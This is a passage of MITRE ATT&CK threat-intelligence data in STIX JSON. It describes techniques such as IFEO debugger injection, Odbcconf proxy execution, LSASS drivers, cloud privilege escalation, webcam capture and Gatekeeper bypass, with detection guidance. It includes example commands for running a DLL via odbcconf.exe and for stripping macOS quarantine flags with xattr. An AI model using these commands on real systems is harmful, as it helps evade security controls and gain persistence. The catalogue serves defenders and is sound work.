@oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6d4a7fb3-5a24-42be-ae61-6728a2b581f6","type":"attack-pattern","created":"2020-01-24T15:05:58.384Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.012","url":"https://attack.mitre.org/techniques/T1546/012"},{"url":"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/","description":"Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.","source_name":"Microsoft Dev Blog IFEO Mar 2010"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview","description":"Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.","source_name":"Microsoft GFlags Mar 2017"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit","description":"Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.","source_name":"Microsoft Silent Process Exit NOV 2017"},{"url":"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/","description":"Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.","source_name":"Oddvar Moe IFEO APR 2018"},{"url":"http://blog.crowdstrike.com/registry-analysis-with-crowdresponse/","description":"Tilbury, C. (2014, August 28). Registry Analysis with CrowdResponse. Retrieved November 12, 2014.","source_name":"Tilbury 2014"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml","description":"FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.","source_name":"FSecure Hupigon"},{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2","description":"Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.","source_name":"Symantec Ushedix June 2008"}],"modified":"2020-11-10T18:29:31.112Z","name":"Image File Execution Options Injection","description":"Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by Image File Execution Options (IFEO) debuggers. IFEOs enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., C:\\dbg\\ntsd.exe -g notepad.exe). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where <executable> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IFEO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nSimilar to [Accessibility Features](https://attack.mitre.org/techniques/T1546/008), on Windows Vista and later as well as Windows Server 2008 and later, a Registry key may be modified that configures \"cmd.exe,\" or another program that provides backdoor access, as a \"debugger\" for an accessibility program (ex: utilman.exe). After the Registry is modified, pressing the appropriate key combination at the login screen while at the keyboard or when connected with [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001) will cause the \"debugger\" program to be executed with SYSTEM privileges. (Citation: Tilbury 2014)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may also be abused to obtain privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous triggered invocation.\n\nMalware may also use IFEO to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor for abnormal usage of the GFlags tool as well as common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","Process: Process Creation"],"x_mitre_permissions_required":["Administrator","SYSTEM"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","type":"attack-pattern","created":"2020-01-24T15:01:32.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.008","url":"https://attack.mitre.org/techniques/T1218/008"},{"source_name":"Microsoft odbcconf.exe","url":"https://docs.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-2017","description":"Microsoft. (2017, January 18). ODBCCONF.EXE. Retrieved March 7, 2019."},{"source_name":"LOLBAS Odbcconf","url":"https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/","description":"LOLBAS. (n.d.). Odbcconf.exe. Retrieved March 7, 2019."},{"source_name":"TrendMicro Squiblydoo Aug 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses/","description":"Bermejo, L., Giagone, R., Wu, R., and Yarochkin, F. (2017, August 7). Backdoor-carrying Emails Set Sights on Russian-speaking Businesses. Retrieved March 7, 2019."},{"source_name":"TrendMicro Cobalt Group Nov 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/","description":"Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019."}],"modified":"2022-03-11T18:52:49.877Z","name":"Odbcconf","description":"Adversaries may abuse odbcconf.exe to proxy execution of malicious payloads. Odbcconf.exe is a Windows utility that allows you to configure Open Database Connectivity (ODBC) drivers and data source names.(Citation: Microsoft odbcconf.exe) The Odbcconf.exe binary may be digitally signed by Microsoft.\n\nAdversaries may abuse odbcconf.exe to bypass application control solutions that do not account for its potential abuse. Similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010), odbcconf.exe has a REGSVR flag that can be misused to execute DLLs (ex: odbcconf.exe /S /A {REGSVR \"C:\\Users\\Public\\file.dll\"}). (Citation: LOLBAS Odbcconf)(Citation: TrendMicro Squiblydoo Aug 2017)(Citation: TrendMicro Cobalt Group Nov 2017) \n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of odbcconf.exe may also be useful in determining the origin and purpose of the DLL being loaded.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Module: Module Load"],"x_mitre_defense_bypassed":["Digital Certificate Validation","Application control"],"x_mitre_permissions_required":["User"]},{"modified":"2024-09-12T19:19:47.758Z","name":"Search Engines","description":"Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking)\n\nAdversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_deprecated":false,"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.0","type":"attack-pattern","id":"attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968","created":"2020-10-02T16:50:12.809Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1593/002","external_id":"T1593.002"},{"source_name":"SecurityTrails Google Hacking","description":"Borges, E. (2019, March 5). Exploring Google Hacking Techniques. Retrieved September 12, 2024.","url":"https://www.recordedfuture.com/threat-intelligence-101/threat-analysis-techniques/google-dorks"},{"source_name":"ExploitDB GoogleHacking","description":"Offensive Security. (n.d.). Google Hacking Database. Retrieved October 23, 2020.","url":"https://www.exploit-db.com/google-hacking-database"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Vincent Le Toux"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1177","url":"https://attack.mitre.org/techniques/T1177"},{"url":"https://technet.microsoft.com/library/cc961760.aspx","description":"Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017.","source_name":"Microsoft Security Subsystem"},{"url":"https://technet.microsoft.com/library/dn408187.aspx","description":"Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017.","source_name":"Microsoft LSA Protection Mar 2014"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"},{"url":"https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017.","source_name":"Microsoft DLL Security"}],"modified":"2020-01-24T18:50:28.846Z","name":"LSASS Driver","description":"The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6ee2dc99-91ad-4534-a7d8-a649358c331f","type":"attack-pattern","created":"2020-10-02T16:27:55.713Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1591.002","url":"https://attack.mitre.org/techniques/T1591/002"},{"source_name":"ThreatPost Broadvoice Leak","url":"https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/","description":"Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020."}],"modified":"2021-04-15T03:36:58.964Z","name":"Business Relationships","description":"Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an organization’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors, etc.) that have connected (and potentially elevated) network access. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business relationships may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195), [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), or [Trusted Relationship](https://attack.mitre.org/techniques/T1199)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"reconnaissance"}],"x_mitre_detection":"Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-10-15T16:07:49.519Z","name":"Temporary Elevated Cloud Access","description":"Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own. \n\nJust-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)\n\nAccount impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the `iam.serviceAccountTokenCreator` role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the `ApplicationImpersonation` role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange) \n\nMany cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the `PassRole` permission can allow a service they create to assume a given role, while in GCP, users with the `iam.serviceAccountUser` role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)\n\nWhile users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)\n\n**Note:** this technique is distinct from [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003), which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003) that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_contributors":["Arad Inbar, Fidelis Security"],"x_mitre_deprecated":false,"x_mitre_detection":"","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["IaaS","Office Suite","Identity Provider"],"x_mitre_version":"1.2","x_mitre_data_sources":["User Account: User Account Modification"],"type":"attack-pattern","id":"attack-pattern--6fa224c7-5091-4595-bf15-3fc9fe2f2c7c","created":"2023-07-10T16:37:15.672Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1548/005","external_id":"T1548.005"},{"source_name":"AWS PassRole","description":"AWS. (n.d.). Granting a user permissions to pass a role to an AWS service. Retrieved July 10, 2023.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html"},{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Google Cloud Just in Time Access 2023","description":"Google Cloud. (n.d.). Manage just-in-time privileged access to projects. Retrieved September 21, 2023.","url":"https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project"},{"source_name":"Google Cloud Service Account Authentication Roles","description":"Google Cloud. (n.d.). Roles for service account authentication. Retrieved July 10, 2023.","url":"https://cloud.google.com/iam/docs/service-account-permissions"},{"source_name":"Microsoft Impersonation and EWS in Exchange","description":"Microsoft. (2022, September 13). Impersonation and EWS in Exchange. Retrieved July 10, 2023.","url":"https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange"},{"source_name":"Azure Just in Time Access 2023","description":"Microsoft. (2023, August 29). Configure and approve just-in-time access for Azure Managed Applications. Retrieved September 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access"},{"source_name":"Rhino Security Labs AWS Privilege Escalation","description":"Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation – Methods and Mitigation. Retrieved May 27, 2022.","url":"https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"},{"source_name":"Rhino Google Cloud Privilege Escalation","description":"Spencer Gietzen. (n.d.). Privilege Escalation in Google Cloud Platform – Part 1 (IAM). Retrieved September 21, 2023.","url":"https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/"},{"source_name":"Hunters Domain Wide Delegation Google Workspace 2023","description":"Yonatan Khanashvilli. (2023, November 28). DeleFriend: Severe design flaw in Domain Wide Delegation could leave Google Workspace vulnerable for takeover. Retrieved January 16, 2024.","url":"https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover"},{"source_name":"Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023","description":"Zohar Zigdon. (2023, November 30). Exploring a Critical Risk in Google Workspace's Domain-Wide Delegation Feature. Retrieved January 16, 2024.","url":"https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-03-30T21:01:37.205Z","name":"Video Capture","description":"An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files.\n\nMalware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from [Screen Capture](https://attack.mitre.org/techniques/T1113) due to use of specific devices or applications for video recording rather than capturing the victim's screen.\n\nIn macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton. (Citation: objective-see 2017 review)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"collection"}],"x_mitre_contributors":["Praetorian"],"x_mitre_detection":"Detection of this technique may be difficult due to the various APIs that may be used. Telemetry data regarding API use may not be useful depending on how a system is normally used, but may provide context to other potentially malicious activity occurring on a system.\n\nBehavior that could indicate technique use include an unknown or unusual process accessing APIs associated with devices or software that interact with the video camera, recording devices, or recording software, and a process periodically writing files to disk that contain video or camera image data.","x_mitre_domains":["enterprise-attack"],"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: OS API Execution","Command: Command Execution"],"x_mitre_permissions_required":["User"],"type":"attack-pattern","id":"attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf","created":"2017-05-31T21:31:37.917Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1125","external_id":"T1125"},{"source_name":"objective-see 2017 review","description":"Patrick Wardle. (n.d.). Retrieved March 20, 2018.","url":"https://objective-see.com/blog/blog_0x25.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.1.0","x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1144","url":"https://attack.mitre.org/techniques/T1144"},{"url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.","source_name":"Methods of Mac Malware Persistence"},{"url":"https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/","description":"Rich Trouton. (2012, November 20). Clearing the quarantine extended attribute from downloaded applications. Retrieved July 5, 2017.","source_name":"Clearing quarantine attribute"},{"url":"https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update","description":"Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017.","source_name":"OceanLotus for OS X"},{"url":"https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/","description":"Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. Retrieved July 5, 2017.","source_name":"Bypassing Gatekeeper"}],"modified":"2020-02-05T16:23:01.683Z","name":"Gatekeeper Bypass","description":"In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitoring for the removal of the com.apple.quarantine flag by a user instead of the operating system is a suspicious action and should be examined further. Monitor and investigate attempts to modify extended file attributes with utilities such as xattr. Built-in system utilities may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Application whitelisting","Anti-virus"],"x_mitre_permissions_required":["User","Administrator"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Filip Kafka, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88","type":"attack-pattern","created":"2017-05-31T21:30:43.472Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1045","url":"https://attack.mitre.org/techniques/T1045"},{"external_id":"CAPEC-570","source_name":"capec","url":"https://capec.mitre.org/data/definitions/570.html"},{"url":"http://en.wikipedia.org/wiki/Executable_compression","description":"Executable compression. (n.d.). Retrieved December 4, 2014.","source_name":"Wikipedia Exe Compression"},{"source_name":"ESET FinFisher Jan 2018","url":"https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf","description":"Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019."}],"modified":"2020-02-05T14:18:21.533Z","name":"Software Packing","description":"Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory.\n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses.\n\nAdversaries may use virtual machine software protection as a form of software packing to protect their code. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Signature-based detection","Anti-virus","Heuristic 